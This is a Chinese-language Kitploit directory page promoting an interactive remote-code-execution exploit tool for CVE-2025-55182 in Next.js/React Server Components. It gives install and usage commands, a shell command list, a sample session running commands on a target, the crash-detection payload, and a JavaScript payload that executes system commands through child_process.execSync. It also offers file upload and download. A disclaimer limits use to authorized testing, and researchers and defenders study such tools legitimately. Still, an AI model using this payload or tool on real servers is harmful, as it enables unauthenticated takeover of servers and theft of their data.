Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-shellinteractive — 针对 CVE-2025-55182 的交互式 RCE 利用工具,利用 Next.js/React Server Components 反序列化漏洞。特性包括自动检测、命令执行、文件传输以及内置带历史记录和自动补全的 shell。 | Kitploit
工具/GitHubGitHub/mrr0b0t19/cve-2025-55182-shellinteractive
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具
GitHubmrr0b0t19/cve-2025-55182-shellinteractive

CVE-2025-55182-shellinteractive

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对 CVE-2025-55182 的交互式 RCE 利用工具,利用 Next.js/React Server Components 反序列化漏洞。特性包括自动检测、命令执行、文件传输以及内置带历史记录和自动补全的 shell。

查看仓库
2138个月前Kitploit 审核通过

CVE-2025-55182-shellinteractive

基础代码源自: https://github.com/Emiyelbarto/CVE-2025-55182-PoC 非常感谢您做出的出色贡献。

概述

CVE-2025-55182 是 Next.js/React Server Components 中的一个反序列化漏洞,允许未经身份验证的远程攻击者在受影响服务器上执行任意代码。该漏洞源于 React Server Actions 对序列化数据的不正确处理。

主要特性:

  • ✅ 交互式 Shell,支持命令历史记录和自动补全
  • ✅ 自动漏洞检测
  • ✅ 远程命令执行
  • ✅ 文件上传/下载功能
  • ✅ 内置测试套件
  • ✅ 可配置的目标参数

安装

前提条件

  • Python 3.8 或更高版本
  • requests 库

快速设置

root@kitploit:~
# 克隆仓库
git clone https://github.com/yourusername/hokma.git
cd hokma

# 安装依赖
pip install requests

# 使脚本可执行(可选)
chmod +x hokma.py

使用方法

基本用法

root@kitploit:~
# 启动交互式 Shell
python hokma.py

# 仅检查漏洞
python hokma.py -u http://target.com --check

# 执行单个命令
python hokma.py -u http://target.com -c "whoami"

交互式 Shell 命令

root@kitploit:~
help                    显示此帮助信息
set URL <url>           设置目标 URL
set ID <action_id>      设置 Action ID(默认:user-profile-action)
show                    显示当前选项
check [url]             检查目标是否存在漏洞
exploit <command>       在目标上执行命令
shell                   启动交互式命令 Shell
test                    运行测试命令(id、whoami 等)
upload <loc> <rem>      将本地文件上传至目标
download <rem> <loc>    下载远程文件(base64 编码)
clear                   清除屏幕
exit/quit               退出 Shell

示例会话

root@kitploit:~
$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

配置选项

选项默认值描述
Target URL无易受攻击应用的 URL
Action IDuser-profile-action目标 Server Action ID
Timeout3 秒请求超时时间

技术细节

漏洞检测

该工具发送一个特制的 multipart 请求,触发易受攻击系统的崩溃:

  • 使用负载:["$1:a:a"] 和一个空对象 {}
  • 通过 HTTP 500 响应或特定错误模式检测漏洞

利用机制

  1. JavaScript 负载构造:使用 Function 构造函数创建一个 Node.js 脚本
  2. 子进程执行:使用 child_process.execSync() 运行系统命令
  3. 响应提取:捕获并显示命令输出

负载结构

root@kitploit:~
const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});

道德使用与免责声明

重要法律声明

本工具旨在用于:

  • 授权的安全测试
  • 教育目的
  • 获得适当同意的漏洞研究

请勿 对未拥有或未获明确许可的系统使用此工具。未经授权访问计算机系统是非法且不道德的。

开发者不对任何滥用此工具的行为负责。用户必须遵守所有适用法律,并在测试前获得适当授权。

已知限制

  1. 目标要求:

    • Node.js 服务器,使用 React Server Components
    • 存在 CVE-2025-55182 漏洞
    • child_process 模块可用
  2. 检测限制:

    • 可能产生误报/漏报
    • 依赖于特定的错误响应
  3. 利用限制:

    • 命令以服务器进程权限执行
    • 某些情况下输出可能被截断
    • 复杂命令可能需要特殊转义
下载工具